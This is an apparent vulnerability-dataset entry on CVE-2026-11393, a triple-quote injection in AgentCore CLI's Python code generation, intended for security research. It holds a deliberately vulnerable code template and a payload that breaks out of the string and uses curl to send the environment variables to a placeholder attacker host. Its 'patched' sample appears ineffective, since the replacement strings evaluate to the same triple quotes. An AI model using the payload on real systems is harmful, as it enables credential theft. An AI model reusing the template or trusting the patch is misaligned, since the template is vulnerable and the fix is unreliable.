CVE-2026-11393
AgentCore CLI allows RCE via a crafted agent import due to quote handling.
- CVSS 8.8
- CWE-94
- Input Validation and Sanitization
- Remote
Improper neutralization of triple-quote characters during Python code generation in AgentCore CLI before v0.14.2 might allow an authenticated remote threat actor to execute arbitrary code on AWS AgentCore Runtime under the imported agent's IAM execution role and on the local environment of another user in the same AWS account, via a crafted collaborationInstruction stored on a Bedrock Agent collaborator and later processed by that other user during agent import. To remediate this issue, users should upgrade to version 0.14.2.
- CWE
- CWE-94
- CVSS base score
- 8.8
- Published
- 2026-06-08
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- AgentCore CL
- Fixed by upgrading
- Yes
Solution
Upgrade AgentCore CLI to version 0.14.2.
Vulnerable code sample
import os
def generate_agent_code(collaboration_instruction: str) -> str:
"""
Generates the Python code for an agent's handler function.
This function simulates the vulnerable behavior by directly embedding a user-provided
string into a Python code template without proper sanitization of triple-quotes.
"""
# The vulnerability is the direct, unsanitized injection of 'collaboration_instruction'
# into the f-string, which is then placed inside a triple-quoted string.
code_template = f"""
# Autogenerated Agent Handler
import sys
import os
def handler(event, context):
\"\"\"
This is the main handler for the agent.
It follows the collaboration instruction provided.
\"\"\"
# The instruction from the collaborator
instruction = \"\"\"{collaboration_instruction}\"\"\"
print("--- Executing Agent ---")
print(f"Instruction: {{instruction}}")
# Placeholder for the agent's core logic
print("--- Agent Execution Complete ---")
return {{
'status': 'success'
}}
"""
return code_templatePatched code sample
import sys
def sanitize_for_generated_code(untrusted_string: str) -> str:
"""
Sanitizes a string to be safely embedded within a triple-quoted
Python string literal during code generation.
This function represents a fix for vulnerabilities where an attacker
can inject triple-quote characters to break out of a string literal and
execute arbitrary code (as described in the CVE-2026-11393 pattern).
It works by replacing occurrences of triple-quotes with a
non-terminating sequence, effectively neutralizing the injection attempt.
"""
# Check for the sequence that would end a triple-double-quoted string.
# Replace it with a sequence that escapes the final quote, breaking the
# "end string" token.
sanitized_string = untrusted_string.replace('"""', '\"\"\"')
# For completeness, perform the same neutralization for triple-single-quotes.
sanitized_string = sanitized_string.replace("'''", "\'\'\'")
return sanitized_stringPayload
"""
import os
os.system('curl --data-binary "$(env)" http://<ATTACKER_CONTROLLED_HOST>/exfil')
#
Cite this entry
@misc{vaitp:cve202611393,
title = {{AgentCore CLI allows RCE via a crafted agent import due to quote handling.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-11393},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-11393/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
